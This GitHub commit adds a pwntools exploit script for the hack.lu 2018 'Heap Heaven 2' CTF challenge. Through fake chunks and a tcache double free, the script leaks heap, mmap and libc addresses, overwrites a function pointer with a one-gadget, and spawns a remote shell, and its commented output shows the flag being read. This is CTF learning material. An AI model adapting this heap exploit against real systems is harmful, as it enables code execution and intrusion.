Skip to content

Commit 760a739

Browse files
committed
Add 2018-hack.lu/Heap-Heaven-2
1 parent ce84297 commit 760a739

File tree

5 files changed

+194
-0
lines changed

5 files changed

+194
-0
lines changed
16.9 KB
Binary file not shown.
25.5 KB
Binary file not shown.
Lines changed: 192 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,192 @@
1+
#!/usr/bin/env python2
2+
# -*- coding: utf-8 -*-
3+
import os
4+
5+
from pwn import *
6+
7+
context(arch="amd64", os="linux")
8+
9+
if not args["REMOTE"]:
10+
binary = ELF("./heap_heaven_2-2.28-4")
11+
libc = ELF("libs/libc-x86_64-2.28-4.so")
12+
13+
argv = [binary.path]
14+
envp = {"PWD": os.getcwd()}
15+
16+
if args["GDB"]:
17+
io = gdb.debug(
18+
args=argv,
19+
env=envp,
20+
aslr=False,
21+
terminal=["tmux", "new-window"],
22+
gdbscript="""
23+
set follow-fork-mode parent
24+
continue
25+
""",
26+
)
27+
else:
28+
io = process(argv=argv, env=envp)
29+
else:
30+
binary = ELF("./heap_heaven_2")
31+
libc = ELF("libs/libc-x86_64-2.28-4.so")
32+
33+
io = remote("arcade.fluxfingers.net", 1809)
34+
35+
36+
def write(size, offset, data):
37+
io.sendlineafter("[5] : exit\n", "1")
38+
io.sendlineafter("How much do you want to write?\n", str(size))
39+
io.sendlineafter("At which offset?\n", str(offset))
40+
io.send(data)
41+
42+
43+
def free(offset):
44+
io.sendlineafter("[5] : exit\n", "3")
45+
io.sendlineafter("At which offset do you want to free?\n", str(offset))
46+
47+
48+
def leak(offset):
49+
io.sendlineafter("[5] : exit\n", "4")
50+
io.sendlineafter("At which offset do you want to leak?\n", str(offset))
51+
return io.recvn(6)
52+
53+
54+
# 1. leaking an address from the heap
55+
56+
# store some fake chunks in the mmaped area
57+
fake_chunk1 = fit(
58+
{0x00: p64(0x41424344), 0x08: p64(0x501), 0x10: "AAAAAAAA"}, length=0x500
59+
)
60+
fake_chunk2 = fit(
61+
{0x00: p64(0x41424344), 0x08: p64(0x41), 0x10: "BBBBBBBB"}, length=0x40
62+
)
63+
fake_chunk3 = fit(
64+
{0x00: p64(0x41424344), 0x08: p64(0x41), 0x10: "CCCCCCCC"}, length=0x40
65+
)
66+
67+
payload = fake_chunk1 + fake_chunk2 + fake_chunk3
68+
offset = 0
69+
write(len(payload), offset, payload)
70+
71+
# free `fake_chunk1`, which goes into the unsorted bin
72+
fake_chunk1_offset = offset + 0x10
73+
free(fake_chunk1_offset)
74+
75+
# now, the `fd` and `bk` fields of `fake_chunk1` are populated with addresses from libc,
76+
# pointing to addresses from the heap; use the leak functionality of the binary to print one of them
77+
a_heap_addr = u64(leak(fake_chunk1_offset).ljust(8, "\0"))
78+
heap_address = a_heap_addr - (0x55555555B290 - 0x55555555B000)
79+
io.success("heap_address: %#x" % heap_address)
80+
81+
82+
# 2. leaking an address from the mmaped area
83+
84+
# double free `fake_chunk2` so that its `fd` field points to itself
85+
fake_chunk2_offset = offset + len(fake_chunk1) + 0x10
86+
free(fake_chunk2_offset)
87+
free(fake_chunk2_offset)
88+
89+
# again, use the leak functionality to print the `fd` field of `fake_chunk2`
90+
# (the [:-1] is for skipping the newline character printed by `puts()`)
91+
a_mmap_addr = u64(leak(fake_chunk2_offset)[:-1].ljust(8, "\0"))
92+
mmap_address = a_mmap_addr - (0x9E52789510 - 0x0000009E52789000)
93+
io.success("mmap_address: %#x" % mmap_address)
94+
95+
96+
# 3. leaking an address from libc
97+
98+
# as said before, as a result of 1. the `fd` and `bk` fields of `fake_chunk1` contains
99+
# addresses of libc; since we now know the base address of the mmaped page, we just
100+
# write somewhere on the page (e.g. at offset 0x1000) a pointer to the `fd` field of `fake_chunk1`
101+
# and use the leak functionality of the binary to print its value
102+
fake_chunk1_fd_addr = mmap_address + offset + 0x10
103+
104+
payload = p64(fake_chunk1_fd_addr)
105+
offset = 0x1000
106+
write(len(payload), offset, payload)
107+
108+
# the address of libc we are going to print has a null least significative byte; thus,
109+
# before printing it, we need to manually change the value of that byte (otherwise, `puts()`
110+
# will only print an empty string)
111+
write(1, fake_chunk1_offset, chr(0x41))
112+
113+
a_libc_addr = u64(leak(offset).ljust(8, "\0"))
114+
a_libc_addr -= 0x41
115+
libc.address = a_libc_addr - (0x7FFFF7FC6B00 - 0x7FFFF7E08000)
116+
io.success("libc.address: %#x" % libc.address)
117+
118+
119+
# 4. executing a one-gadget
120+
121+
# store some fake chunks in the mmaped area
122+
fake_chunk4 = fit(
123+
{0x00: p64(0x41424344), 0x08: p64(0x21), 0x10: "DDDDDDDD"}, length=0x20
124+
)
125+
fake_chunk5 = fit(
126+
{0x00: p64(0x41424344), 0x08: p64(0x81), 0x10: "EEEEEEEE"}, length=0x80
127+
)
128+
129+
payload = fake_chunk4 + fake_chunk5
130+
offset = 0x1200
131+
write(len(payload), offset, payload)
132+
133+
# free `fake_chunk4` some times to fill the tcache
134+
fake_chunk4_offset = offset + 0x10
135+
free(fake_chunk4_offset)
136+
free(fake_chunk4_offset)
137+
free(fake_chunk4_offset)
138+
free(fake_chunk4_offset)
139+
free(fake_chunk4_offset)
140+
free(fake_chunk4_offset)
141+
free(fake_chunk4_offset)
142+
143+
# the next `free()` will put `fake_chunk4` into the fast bin
144+
free(fake_chunk4_offset)
145+
146+
# as the last step, we are going to free the chunk (allocated by the binary at the start
147+
# of the program) that contains a pointer to the array of functions `bye()` and `menu()`
148+
149+
# by freeing this chunk, this pointer gets updated with the address of the chunk at the top
150+
# of the fast bin (our fake chunk)
151+
152+
# in this way, at the next call of `menu()`, the binary will use a pointer to `fake_chunk4`
153+
# to find the array of functions; instead of `menu()`, it will find the address of the one-gadget
154+
155+
# $ one_gadget libs/libc-x86_64-2.28-4.so
156+
# . . .
157+
# 0xe75f0 execve("/bin/sh", rsp+0x60, environ)
158+
# constraints:
159+
# [rsp+0x60] == NULL
160+
# . . .
161+
one_gadget_addr = libc.address + 0xE75F0
162+
163+
payload = p64(one_gadget_addr)
164+
write(len(payload), fake_chunk4_offset - 0x8, payload)
165+
166+
free(heap_address - mmap_address + (0x55555555B260 - 0x55555555B000))
167+
# and enjoy the shell
168+
io.interactive()
169+
# $ ./heap_heaven_2.py REMOTE
170+
# [*] '/home/vagrant/vbox/Heap-Heaven-2/heap_heaven_2'
171+
# Arch: amd64-64-little
172+
# RELRO: Full RELRO
173+
# Stack: Canary found
174+
# NX: NX enabled
175+
# PIE: PIE enabled
176+
# [*] '/home/vagrant/vbox/Heap-Heaven-2/libs/libc-x86_64-2.28-4.so'
177+
# Arch: amd64-64-little
178+
# RELRO: Full RELRO
179+
# Stack: Canary found
180+
# NX: NX enabled
181+
# PIE: PIE enabled
182+
# [+] Opening connection to arcade.fluxfingers.net on port 1809: Done
183+
# [+] heap_address: 0x5571b44c7000
184+
# [+] mmap_address: 0x871155b000
185+
# [+] libc.address: 0x7f63b92f0000
186+
# [*] Switching to interactive mode
187+
# \x89��Fc: cannot set terminal process group (10647): Inappropriate ioctl for device
188+
# \x89��Fc: no job control in this shell
189+
# [chall@hacklu18 ~]$ $ ls
190+
# flag heap_heaven_2
191+
# [chall@hacklu18 ~]$ $ cat flag
192+
# flag{th1s_w4s_still_ez_h3ap_stuff_r1ght?!}
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
../../../libcs/ld-x86_64-2.28-4.so
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
../../../libcs/libc-x86_64-2.28-4.so

0 commit comments

Comments
 (0)